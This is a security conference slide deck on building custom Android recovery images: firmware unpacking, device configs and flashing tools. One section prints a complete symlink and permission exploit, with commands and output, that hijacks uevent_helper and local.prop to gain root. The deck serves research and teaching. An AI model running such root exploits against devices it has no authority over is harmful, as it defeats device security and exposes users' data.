How To Make Android’s Bootable Recovery Work For You

Drew Suarez
Nice to meet you, I’m Drew.

- Security Consultant for Matasano
- CyanogenMod Wiki Maintainer
- Ported recovery to dozens of devices
- “Cool guy” Internet handle: utkanos
What’s this all about then?

- Why Do I Need This?
- Bootable Recovery
- Device Mapping
- Firmware Inspection
- Building Recovery
What is Android recovery?

- Stock recovery mode:
  
  minimal mode on Android devices that boots a Linux environment with tools to install/recover/repair Android

  used primarily to install signed OTA updates and reset userdata

  ADB (Android Debug Bridge) access (sometimes)

  very limited in scope/usefulness
What is Android recovery?

- Custom recoveries:
  - provide root access / useful binaries
  - allow for easy backup of essential firmware
  - scriptable installation of custom Android firmware
A Custom Recovery

android recovery
Why is this significant?

• Custom recoveries provide a means to investigate, modify and test new firmware

• Full control over device in many cases
Why do I need this?

- Penetration testing
- Forensics or data acquisition
- Bypassing security controls
- Useful for Android testing/development
Got it... so how do I make one?

- Map the device topology out in full
- Get the kernel source (or prebuilt*)
- Build Android device configuration
Bootable Recovery
It's a UNIX system.
I know this.
A Unique Snowflake...
Recovery: Parts and Structure

• Typical Android boot image
  
  Android boot header

  Kernel (compiled zImage)

  Initial Ramdisk

• Initramfs style image

  Kernel (contains initramfs ramdisk)

  Recovery binary/tools compiled directly into kernel
Recovery: Parts and Structure

- Combined boot/recovery image

  Boot image and recovery image share a ramdisk
  Share one partition
Recovery: Initrd Images

** +-----------------+
** | boot header | 1 page
** +-----------------+
** | kernel | n pages
** +-----------------+
** | ramdisk | m pages
** +-----------------+
** | 2nd stage | o pages
** +-----------------+

Boot Header:
1) Magic (8B)
2) kernel size (4B)
3) kernel addr (4B)
4) ramdisk size (4B)
5) ramdisk addr (4B)
6) 2ndary size (4B)
7) 2ndary addr (4B)
8) tags addr (4B)
9) page size (4B)
10) *
11) *
12) product name (16B)
13) kernel cmdline (512B)
14) id (8B)

* 10 and 11 of Boot Header used for DTB (device tree blob), unused otherwise
Recovery: Parts and Structure

- **Initial ramdisk/ramfs**
  
  Loads a temporary root filesystem into memory
  
  Files needed specifically for recovery mode operation
  
  init binary/scripts, binaries, images and firmware
  
  Can be rebuilt or modified to include more tools and features and extended functionality
Recovery: Parts and Structure

- recovery.fstab (<=Android 4.2.2):
  Maps block devices and their filesystems to mount points
  Resides typically in etc/ or res/ in ramdisk

- fstab.(platform) (>=Android 4.3):
  Ex: fstab.qcom, fstab msm8974
  Slightly different mapping order
Device Mapping
Device Mapping

• Stock firmware (boot or recovery)
  
  variety of sites/places to source OEM firmware to source

  pull from a rooted device (via dd)

• Uses
  
  troubleshooting / recon

  device topology
Device Mapping

- Kernel source

A must-have for initramfs style recoveries

Useful for making smaller kernels for devices with limited recovery space

Can be modified for your specific needs
Device Mapping

- /system/build.prop
  Contains parameters used for setting various different options in Android
  We want the device specific board codename information

- /proc/emmc or /proc/mtd, /proc/partitions
- /proc/config.gz and ikconfig
Ok, where do I find all this stuff?!

Lets take apart some firmware.
Standard Android boot image

utkanos@leviathan /amnesiac/android/recovery/dlx $ od -c recovery.img |more
00000000 ANDROID!
00000200 341 ' 200 240 201 ` 200
00000400 \001 ` 200 \b \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
00000600 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
00001000 console = tty HSL 0 ,
00001200 1 1 5 2 0 0 , n 8 android
00001400 dboot. hardware = d
00001600 lxuserdebug = 31
00002000 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
Firmware Exploration

- unpackbootimg/mkboot [1]
  
  `$> unpackbootimg -i firmware.img -o .`
  
  `$> zcat ramdisk.gz | cpio -id`
  
  `---`
  
  `$> mkboot firmware.img outdir`

- unpack-initramfs.sh [2]

- binwalk
utkanos@leviathan ~/mkbootimg_tools $ ./mkboot /amnesiac/android/hlte/recovery_hltetmo.img hltetmo_outdir
Unpack & decompress /amnesiac/android/hlte/recovery_hltetmo.img to hltetmo_outdir
kernel         : zImage
ramdisk        : ramdisk
**page size**  : 2048
kernel size    : 8281496
ramdisk size   : 2987655
dtb size       : 1316864
base           : 0x00000000
kernel offset  : 0x00008000
**ramdisk offset** : 0x02900000
second_offset  : 0x00f00000
tags offset    : 0x02700000
**dtb img**    : dt.img
**cmd line**   : console=null androidboot.hardware=qcom user_debug=31 msm_rtb.filter=0x3F
ramdisk is gzip format.
Unpack completed.
Firmware Exploration

- Our goal is to get the ramdisk and a working prebuilt kernel (zImage)
- The ramdisk contains init scripts, custom scripts and binaries we want
- Crucial for finding ways into a device
Why are init scripts so important?

- Great source for bugs
  - symlink attacks
  - overly permissive permissions
  - debug functionality
- Contain services and their parameters
  - helpful for making recovery run properly
symlink/permissions tomfoolery

# DRMv1 rights storage
symlink /data/local /data/drm
mkdir /data/local/rights 0777 shell shell
chown shell shell /data/drm
write /data/drm/rights/mid.txt 00000000000000000000000000000000
chmod 0777 /data/drm/rights/mid.txt
Retina:recovery jcase$ adb push root.sh /data/local/rights/
Retina:recovery jcase$ adb shell
$ cd /data/local/rights
$ ls -l
-rwxrwxrwx root root 16 2014-07-23 20:13 mid.txt
$ chmod 755 root.sh
$ mv mid.txt mid.txt-backup
$ ln -s /sys/kernel/uevent_helper mid.txt
$ ls -l /sys/kernel/uevent_helper
-rw-r--r-- root root 4096 2014-07-23 20:14 uevent_helper
$ exit
Retina:recovery jcase$ adb reboot
Retina:recovery jcase$ adb shell
$ ls -l /sys/kernel/uevent_helper
-rwxrwxrwx root root 4096 2014-07-23 20:14 uevent_helper
$ echo "/data/local/rights/root.sh" > /sys/kernel/uevent_helper
$ cat /sys/kernel/uevent_helper
/data/local/rights/root.sh
$ su
#
# cd /data/data
# ls -l
... (snip) ...
drwxr-xr-x app_0 app_0

drwxrwxrwx root root
2014-07-27 12:13 recovery

# ls -l -a -R recovery

recovery:
-rw-rw-rw- root root
383 2014-07-27 12:13 log

Reprinted with kind permission from jcase. [3]
Retina:recovery jcase$ adb shell
$ cd /data/data/recovery
$ ls -l
$ rm log
$ ln -s /data/local.prop log
$ exit
Retina:recovery jcase$ adb reboot recovery
Retina:recovery jcase$ adb shell
$ ls -l /data/local.prop
$ echo 'ro.kernel.qemu=1' > /data/local.prop
$ exit
Retina:recovery jcase$ adb reboot
Retina:recovery jcase$ adb shell
# id
uid=0(root) gid=0(root)
What else in the ramdisk is interesting?

- watchdog daemons
- necessary kernel objects
- stand alone binaries
- special commands
What if I can't figure something out?

• If lacking firmware, attempt to look at the device by hand using adb shell
• Use output of `mount` to identify key partitions
• Look at sizes in `/proc/partitions` and make educated guesses for firmware locations
Building a Recovery
Build a device config

- Android build system

  Based on “meal ordering” concept

  Each device is a unique “combo meal”

  Combos can inherit from one another

  We need to build a new combo!
Build a device config

- CyanogenMod (or other) Android source [4]
- Linux or OSX
- All the info gathered earlier
Build a device config

- Utilize the mkvendor.sh script in the CM source

mkvendor takes 3 parameters and builds a skeleton bare bones device config

ex: $> mkvendor.sh samsung hltetmo recovery_hltetmo.img
<table>
<thead>
<tr>
<th>File</th>
<th>Date</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>recovery</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>/sbin</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>AndroidBoard.mk</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>AndroidProducts.mk</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>BoardConfig.mk</td>
<td>4 months ago</td>
<td>updated to 23x42 for 1080p screen [utkanos]</td>
</tr>
<tr>
<td>cmdline</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>device_dlx.mk</td>
<td>4 months ago</td>
<td>device file touchup/font change for 23x41 [utkanos]</td>
</tr>
<tr>
<td>fstab.dlx</td>
<td>4 months ago</td>
<td>device file touchup/font change to 23x41 [utkanos]</td>
</tr>
<tr>
<td>init.debug_mfgkernel.rc</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>init.qcom.firmware_links.sh</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>init.qcom.sh</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>init.target.rc</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>kernel</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>recovery fstab</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
<tr>
<td>system.prop</td>
<td>5 months ago</td>
<td>barebones cwmr initial build [utkanos]</td>
</tr>
</tbody>
</table>
Build a device config

- mkvendor output is *almost always* incomplete/wrong, fix it!

  BoardConfig.mk
  
  recovery.fstab/fstab.platform
  
  device_(codename).mk
BoardConfig.mk

- Contains essential information about your device’s board, CPU, various hardware and device specific oddities
- Requires the most modification and is continuously evolving the further in the process you get
- For the scope of this talk, only the bare necessities to build a recovery are covered
BoardConfig.mk

- BOARD_FORCE_RAMDISK_ADDRESS
- BOARD_MKBOOT_ARGS

*use these to force a ramdisk offset*
*especially important on large partitions*
*former deprecated after Android 4.1*
device_(codename).mk

- Contains instructions about what packages to build and where to copy specific files or properties during your build.
- Use this file to insert necessary or additional files into the ramdisk during compile time.
- Essential for including OEM specific oddities, specific binaries or scripts required for recovery operation.
Build it!

- Use lunch to load in your new device combo

  $> \text{source build/envsetup.sh}

  $> \text{lunch cm_hltetmo-eng}

  $> \text{make recoveryimage}
Test it!

- Verify kernel/ramdisk addresses, dtb (if applicable), and ramdisk contents
- Comparing to stock is helpful here
- Make sure it fits
Flash it! (or boot)

- Once you’re ready to test the recovery, use one of the following common methods based on your specific use case:
  - `dd` (requires root, see init portion of talk 😊)
  - `flash_image` (mtd typically)
  - ODIN/Heimdall (Samsung)
  - `fastboot` (various OEMs)
Download Mode (Samsung)
Download Mode

- Download Mode is a Samsung specific boot loader interface shipped on all of their Android devices. It requires specific naming on images you wish to flash!

- Internally, Samsung uses a tool called ODIN to interact with the device and flash firmware.

  This is a Windows only, closed source application :(

android recovery
ODIN

**Android + SLP**

PASS!

0:34

ID: COM

Option
- Re-Partition
- Auto Reboot
- F. Reset Time
- Flash Lock
- Dump
- Phone EFS Clear
- Phone Bootloader Update

Control Panel

PIT

Files [Download]

- BOOTLOADER

File [Dump]

android recovery
Download Mode

- ODIN requires ustar formatted tar archives containing the firmware desired. Here’s how to make one:

```
$> tar -H ustar -c recovery.img > recovery.tar
$> md5sum -t recovery.tar >> recovery.tar
$> mv recovery.tar recovery.tar.md5
```
Download Mode

- Heimdall is an open source, cross-platform tool created from reversing ODIN
- Capable of writing raw images
- More flexible and useful than ODIN
Download Mode

- Overly permissive! Most devices allow direct write access aside from a handful of US carrier protected models.
- Newer protections exist but are inconsistently applied.
fastboot mode

- Found on Nexus, HTC, Sony and many other OEMs.
- Great for testing an image without having to write it to local storage (fastboot boot)
- Unlocking the bootloader to use fastboot most often erases userdata partition!
unless...

- “Incomplete signature parsing during boot image authentication leads to signature forgery (CVE-2014-0973)” [6]
- Lk (Little Kernel) is used on many devices
New Protections...

- init contexts
- Protections like Knox/Secure Boot on more and more models
- SELinux turned up to ’11'
Common issues

- Booted on first try? Nice. More realistically, it failed and here are some reasons why:

  - ramdisk offset or kernel pagesize is wrong
  - init is misconfigured
  - you’re not emulating some weird OEM setting hack properly
  - dtb file is wrong or offset improperly
Getting started

- Github is your friend!
- Many sites host stock firmware for Android devices
  - samfirmware.com
  - xda-developers.com forums
  - rootzwiki
Getting started

• Setting up your build environment: CyanogenMod wiki has a step by step walkthrough and additional resources for development and hacking

• Review links in the references section
References

[1] https://github.com/CyanogenMod/android_system_core/tree/cm-11.0/mkbootimg


[3] From material Copyright 2014 Jon Sawyer - Applied Cybersecurity LLC used with kind permission


Thank you! Questions?

Drew Suarez // matasano security
@utkan0s on twitter
https://github.com/utkanos
utkanos on freenode (#droidsec, #cyanogenmod)
utkanos at gmail dot com